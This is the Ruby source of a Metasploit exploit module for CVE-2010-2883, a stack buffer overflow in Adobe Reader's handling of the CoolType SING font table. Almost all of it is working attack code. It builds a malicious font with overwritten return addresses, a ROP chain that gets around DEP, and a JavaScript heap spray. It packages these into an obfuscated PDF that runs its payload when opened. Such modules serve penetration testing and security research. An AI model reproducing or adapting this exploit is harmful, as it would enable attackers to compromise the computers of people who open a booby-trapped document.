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## # $Id: adobe_cooltype_sing.rb 10477 2010-09-25 11:59:02Z mc $ ## ## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. # http://metasploit.com/framework/ ## require 'msf/core' require 'zlib' class Metasploit3 < Msf::Exploit::Remote Rank = GreatRanking # aslr+dep bypass, js heap spray, rop, stack bof include Msf::Exploit::FILEFORMAT def initialize(info = {}) super(update_info(info, 'Name' => 'Adobe CoolType SING Table "uniqueName" Stack Buffer Overflow', 'Description'=> %q{ This module exploits a vulnerability in the Smart INdependent Glyplets (SING) table handling within versions 8.2.4 and 9.3.4 of Adobe Reader. Prior version are assumed to be vulnerable as well. }, 'License'=> MSF_LICENSE, 'Author' => [ 'Unknown',# 0day found in the wild '@sn0wfl0w',# initial analysis '@vicheck', # initial analysis 'jduck' # Metasploit module ], 'Version'=> '$Revision: 10477 $', 'References' => [ [ 'CVE', '2010-2883' ], [ 'OSVDB', '67849'], [ 'URL', 'http://contagiodump.blogspot.com/2010/09/cve-david-leadbetters-one-point-lesson.html' ], [ 'URL', 'http://www.adobe.com/support/security/advisories/apsa10-02.html' ] ], 'DefaultOptions' => { 'EXITFUNC' => 'process', 'InitialAutoRunScript' => 'migrate -f', 'DisablePayloadHandler' => 'true', }, 'Payload'=> { 'Space'=> 1000, 'BadChars' => "\x00", 'DisableNops' => true }, 'Platform' => 'win', 'Targets'=> [ # Tested OK via Adobe Reader 9.3.4 on Windows XP SP3 -jjd # Tested OK via Adobe Reader 9.3.4 on Windows 7 -jjd [ 'Automatic', { }], ], 'DisclosureDate' => 'Sep 07 2010', 'DefaultTarget'=> 0)) register_options( [ OptString.new('FILENAME', [ true, 'The file name.','msf.pdf']), ], self.class) end def exploit ttf_data = make_ttf() js_data = make_js(payload.encoded) # Create the pdf pdf = make_pdf(ttf_data, js_data) print_status("Creating '#{datastore['FILENAME']}' file...") file_create(pdf) end def make_ttf ttf_data = "" # load the static ttf file # NOTE: The 0day used Vera.ttf (785d2fd45984c6548763ae6702d83e20) path = File.join( Msf::Config.install_root, "data", "exploits", "cve-2010-2883.ttf" ) fd = File.open( path, "rb" ) ttf_data = fd.read(fd.stat.size) fd.close # Build the SING table sing = '' sing << [ 0, 1, # tableVersionMajor, tableVersionMinor (0.1) 0xe01,# glyphletVersion 0x100,# embeddingInfo 0,# mainGID 0,# unitsPerEm 0,# vertAdvance 0x3a00# vertOrigin ].pack('vvvvvvvv') # uniqueName # "The uniqueName string must be a string of at most 27 7-bit ASCII characters" #sing << "A" * (0x254 - sing.length) sing << rand_text(0x254 - sing.length) # 0xffffffff gets written here @ 0x7001400 (in BIB.dll) sing[0x140, 4] = [0x4a8a08e2 - 0x1c].pack('V') # This becomes our new EIP (puts esp to stack buffer) ret = 0x4a80cb38 # add ebp, 0x794 / leave / ret sing[0x208, 4] = [ret].pack('V') # This becomes the new eip after the first return ret = 0x4a82a714 sing[0x18, 4] = [ret].pack('V') # This becomes the new esp after the first return esp = 0x0c0c0c0c sing[0x1c, 4] = [esp].pack('V') # Without the following, sub_801ba57 returns 0. sing[0x24c, 4] = [0x6c].pack('V') ttf_data[0xec, 4] = "SING" ttf_data[0x11c, sing.length] = sing ttf_data end def make_js(encoded_payload) # The following executes a ret2lib using icucnv36.dll # The effect is to bypass DEP and execute the shellcode in an indirect way stack_data = [ 0x41414141, # unused 0x4a8063a5, # pop ecx / ret 0x4a8a0000, # becomes ecx 0x4a802196, # mov [ecx],eax / ret # save whatever eax starts as 0x4a801f90, # pop eax / ret 0x4a84903c, # becomes eax (import for CreateFileA) # -- call CreateFileA 0x4a80b692, # jmp [eax] 0x4a801064, # ret 0x4a8522c8, # first arg to CreateFileA (lpFileName / pointer to "iso88591") 0x10000000, # second arg- dwDesiredAccess 0x00000000, # third arg - dwShareMode 0x00000000, # fourth arg- lpSecurityAttributes 0x00000002, # fifth arg - dwCreationDisposition 0x00000102, # sixth arg - dwFlagsAndAttributes 0x00000000, # seventh arg - hTemplateFile 0x4a8063a5, # pop ecx / ret 0x4a801064, # becomes ecx 0x4a842db2, # xchg eax,edi / ret 0x4a802ab1, # pop ebx / ret 0x00000008, # becomes ebx - offset to modify # # This points at a neat-o block of code that ... TBD # # and [esp+ebx*2],edi # jne check_slash # ret_one: # mov al,1 # ret # check_slash: # cmp al,0x2f # je ret_one # cmp al,0x41 # jl check_lower # cmp al,0x5a # jle check_ptr # check_lower: # cmp al,0x61 # jl ret_zero # cmp al,0x7a # jg ret_zero # cmp [ecx+1],0x3a # je ret_one # ret_zero: # xor al,al # ret # 0x4a80a8a6, # execute fun block 0x4a801f90, # pop eax / ret 0x4a849038, # becomes eax (import for CreateFileMappingA) # -- call CreateFileMappingA 0x4a80b692, # jmp [eax] 0x4a801064, # ret 0xffffffff, # arguments to CreateFileMappingA, hFile 0x00000000, # lpAttributes 0x00000040, # flProtect 0x00000000, # dwMaximumSizeHigh 0x00010000, # dwMaximumSizeLow 0x00000000, # lpName 0x4a8063a5, # pop ecx / ret 0x4a801064, # becomes ecx 0x4a842db2, # xchg eax,edi / ret 0x4a802ab1, # pop ebx / ret 0x00000008, # becomes ebx - offset to modify 0x4a80a8a6, # execute fun block 0x4a801f90, # pop eax / ret 0x4a849030, # becomes eax (import for MapViewOfFile # -- call MapViewOfFile 0x4a80b692, # jmp [eax] 0x4a801064, # ret 0xffffffff, # args to MapViewOfFile - hFileMappingObject 0x00000022, # dwDesiredAccess 0x00000000, # dwFileOffsetHigh 0x00000000, # dwFileOffsetLow 0x00010000, # dwNumberOfBytesToMap 0x4a8063a5, # pop ecx / ret 0x4a8a0004, # becomes ecx - writable pointer 0x4a802196, # mov [ecx],eax / ret - save map base addr 0x4a8063a5, # pop ecx / ret 0x4a801064, # becomes ecx - ptr to ret 0x4a842db2, # xchg eax,edi / ret 0x4a802ab1, # pop ebx / ret 0x00000030, # becomes ebx - offset to modify 0x4a80a8a6, # execute fun block 0x4a801f90, # pop eax / ret 0x4a8a0004, # becomes eax - saved file mapping ptr 0x4a80a7d8, # mov eax,[eax] / ret - load saved mapping ptr 0x4a8063a5, # pop ecx / ret 0x4a801064, # becomes ecx - ptr to ret 0x4a842db2, # xchg eax,edi / ret 0x4a802ab1, # pop ebx / ret 0x00000020, # becomes ebx - offset to modify 0x4a80a8a6, # execute fun block 0x4a8063a5, # pop ecx / ret 0x4a801064, # becomes ecx - ptr to ret 0x4a80aedc, # lea edx,[esp+0xc] / push edx / push eax / push [esp+0xc] / push [0x4a8a093c] / call ecx / add esp, 0x10 / ret 0x4a801f90, # pop eax / ret 0x00000034, # becomes eax 0x4a80d585, # add eax,edx / ret 0x4a8063a5, # pop ecx / ret 0x4a801064, # becomes ecx - ptr to ret 0x4a842db2, # xchg eax,edi / ret 0x4a802ab1, # pop ebx / ret 0x0000000a, # becomes ebx - offset to modify 0x4a80a8a6, # execute fun block 0x4a801f90, # pop eax / ret 0x4a849170, # becomes eax (import for memcpy) # -- call memcpy 0x4a80b692, # jmp [eax] 0xffffffff, # this stuff gets overwritten by the block at 0x4a80aedc, becomes ret from memcpy 0xffffffff, # becomes first arg to memcpy (dst) 0xffffffff, # becomes second arg to memcpy (src) 0x00001000, # becomes third arg to memcpy (length) #0x0000258b, # ?? #0x4d4d4a8a, # ?? ].pack('V*') var_unescape= rand_text_alpha(rand(100) + 1) var_shellcode = rand_text_alpha(rand(100) + 1) var_start = rand_text_alpha(rand(100) + 1) var_s = 0x10000 var_c = rand_text_alpha(rand(100) + 1) var_b = rand_text_alpha(rand(100) + 1) var_d = rand_text_alpha(rand(100) + 1) var_3 = rand_text_alpha(rand(100) + 1) var_i = rand_text_alpha(rand(100) + 1) var_4 = rand_text_alpha(rand(100) + 1) payload_buf = '' payload_buf << stack_data payload_buf << encoded_payload escaped_payload = Rex::Text.to_unescape(payload_buf) js = %Q| var #{var_unescape} = unescape; var #{var_shellcode} = #{var_unescape}( '#{escaped_payload}' ); var #{var_c} = #{var_unescape}( "%" + "u" + "0" + "c" + "0" + "c" + "%u" + "0" + "c" + "0" + "c" ); while (#{var_c}.length + 20 + 8 < #{var_s}) #{var_c}+=#{var_c}; #{var_b} = #{var_c}.substring(0, (0x0c0c-0x24)/2); #{var_b} += #{var_shellcode}; #{var_b} += #{var_c}; #{var_d} = #{var_b}.substring(0, #{var_s}/2); while(#{var_d}.length < 0x80000) #{var_d} += #{var_d}; #{var_3} = #{var_d}.substring(0, 0x80000 - (0x1020-0x08) / 2); var #{var_4} = new Array(); for (#{var_i}=0;#{var_i}<0x1f0;#{var_i}++) #{var_4}[#{var_i}]=#{var_3}+"s"; | js end def RandomNonASCIIString(count) result = "" count.times do result << (rand(128) + 128).chr end result end def ioDef(id) "%d 0 obj \n" % id end def ioRef(id) "%d 0 R" % id end #http://blog.didierstevens.com/2008/04/29/pdf-let-me-count-the-ways/ def nObfu(str) #return str result = "" str.scan(/./u) do |c| if rand(2) == 0 and c.upcase >= 'A' and c.upcase <= 'Z' result << "#%x" % c.unpack("C*")[0] else result << c end end result end def ASCIIHexWhitespaceEncode(str) result = "" whitespace = "" str.each_byte do |b| result << whitespace << "%02x" % b whitespace = " " * (rand(3) + 1) end result << ">" end def make_pdf(ttf, js) #swf_name = rand_text_alpha(8 + rand(8)) + ".swf" xref = [] eol = "\n" endobj = "endobj" << eol # Randomize PDF version? pdf = "%PDF-1.5" << eol pdf << "%" << RandomNonASCIIString(4) << eol # catalog xref << pdf.length pdf << ioDef(1) << nObfu("<<") << eol pdf << nObfu("/Pages ") << ioRef(2) << eol pdf << nObfu("/Type /Catalog") << eol pdf << nObfu("/OpenAction ") << ioRef(11) << eol # The AcroForm is required to get icucnv36.dll to load pdf << nObfu("/AcroForm ") << ioRef(13) << eol pdf << nObfu(">>") << eol pdf << endobj # pages array xref << pdf.length pdf << ioDef(2) << nObfu("<<") << eol pdf << nObfu("/MediaBox ") << ioRef(3) << eol pdf << nObfu("/Resources ") << ioRef(4) << eol pdf << nObfu("/Kids [") << ioRef(5) << "]" << eol pdf << nObfu("/Count 1") << eol pdf << nObfu("/Type /Pages") << eol pdf << nObfu(">>") << eol pdf << endobj # media box xref << pdf.length pdf << ioDef(3) pdf << "[0 0 595 842]" << eol pdf << endobj # resources xref << pdf.length pdf << ioDef(4) pdf << nObfu("<<") << eol pdf << nObfu("/Font ") << ioRef(6) << eol pdf << ">>" << eol pdf << endobj # page 1 xref << pdf.length pdf << ioDef(5) << nObfu("<<") << eol pdf << nObfu("/Parent ") << ioRef(2) << eol pdf << nObfu("/MediaBox ") << ioRef(3) << eol pdf << nObfu("/Resources ") << ioRef(4) << eol pdf << nObfu("/Contents [") << ioRef(8) << nObfu("]") << eol pdf << nObfu("/Type /Page") << eol pdf << nObfu(">>") << eol # end obj dict pdf << endobj # font xref << pdf.length pdf << ioDef(6) << nObfu("<<") << eol pdf << nObfu("/F1 ") << ioRef(7) << eol pdf << ">>" << eol pdf << endobj # ttf object xref << pdf.length pdf << ioDef(7) << nObfu("<<") << eol pdf << nObfu("/Type /Font") << eol pdf << nObfu("/Subtype /TrueType") << eol pdf << nObfu("/Name /F1") << eol pdf << nObfu("/BaseFont /Cinema") << eol pdf << nObfu("/Widths []") << eol pdf << nObfu("/FontDescriptor ") << ioRef(9) pdf << nObfu("/Encoding /MacRomanEncoding") pdf << nObfu(">>") << eol pdf << endobj # page content content = "Hello World!" content = "" + "0 g" + eol + "BT" + eol + "/F1 32 Tf" + eol + "32 Tc" + eol + "1 0 0 1 32 773.872 Tm" + eol + "(" + content + ") Tj" + eol + "ET" xref << pdf.length pdf << ioDef(8) << "<<" << eol pdf << nObfu("/Length %s" % content.length) << eol pdf << ">>" << eol pdf << "stream" << eol pdf << content << eol pdf << "endstream" << eol pdf << endobj # font descriptor xref << pdf.length pdf << ioDef(9) << nObfu("<<") pdf << nObfu("/Type/FontDescriptor/FontName/Cinema") pdf << nObfu("/Flags %d" % (2**2 + 2**6 + 2**17)) pdf << nObfu("/FontBBox [-177 -269 1123 866]") pdf << nObfu("/FontFile2 ") << ioRef(10) pdf << nObfu(">>") << eol pdf << endobj # ttf stream xref << pdf.length compressed = Zlib::Deflate.deflate(ttf) pdf << ioDef(10) << nObfu("<</Length %s/Filter/FlateDecode/Length1 %s>>" % [compressed.length, ttf.length]) << eol pdf << "stream" << eol pdf << compressed << eol pdf << "endstream" << eol pdf << endobj # js action xref << pdf.length pdf << ioDef(11) << nObfu("<<") pdf << nObfu("/Type/Action/S/JavaScript/JS ") + ioRef(12) pdf << nObfu(">>") << eol pdf << endobj # js stream xref << pdf.length compressed = Zlib::Deflate.deflate(ASCIIHexWhitespaceEncode(js)) pdf << ioDef(12) << nObfu("<</Length %s/Filter[/FlateDecode/ASCIIHexDecode]>>" % compressed.length) << eol pdf << "stream" << eol pdf << compressed << eol pdf << "endstream" << eol pdf << endobj ### # The following form related data is required to get icucnv36.dll to load ### # form object xref << pdf.length pdf << ioDef(13) pdf << nObfu("<</XFA ") << ioRef(14) << nObfu(">>") << eol pdf << endobj # form stream xfa = <<-EOF <?xml version="1.0" encoding="UTF-8"?> <xdp:xdp xmlns:xdp="http://ns.adobe.com/xdp/"> <config xmlns="http://www.xfa.org/schema/xci/2.6/"> <present><pdf><interactive>1</interactive></pdf></present> </config> <template xmlns="http://www.xfa.org/schema/xfa-template/2.6/"> <subform name="form1" layout="tb" locale="en_US"> <pageSet></pageSet> </subform></template></xdp:xdp> EOF xref << pdf.length pdf << ioDef(14) << nObfu("<</Length %s>>" % xfa.length) << eol pdf << "stream" << eol pdf << xfa << eol pdf << "endstream" << eol pdf << endobj ### # end form stuff for icucnv36.dll ### # trailing stuff xrefPosition = pdf.length pdf << "xref" << eol pdf << "0 %d" % (xref.length + 1) << eol pdf << "0000000000 65535 f" << eol xref.each do |index| pdf << "%010d 00000 n" % index << eol end pdf << "trailer" << eol pdf << nObfu("<</Size %d/Root " % (xref.length + 1)) << ioRef(1) << ">>" << eol pdf << "startxref" << eol pdf << xrefPosition.to_s() << eol pdf << "%%EOF" << eol pdf end end |
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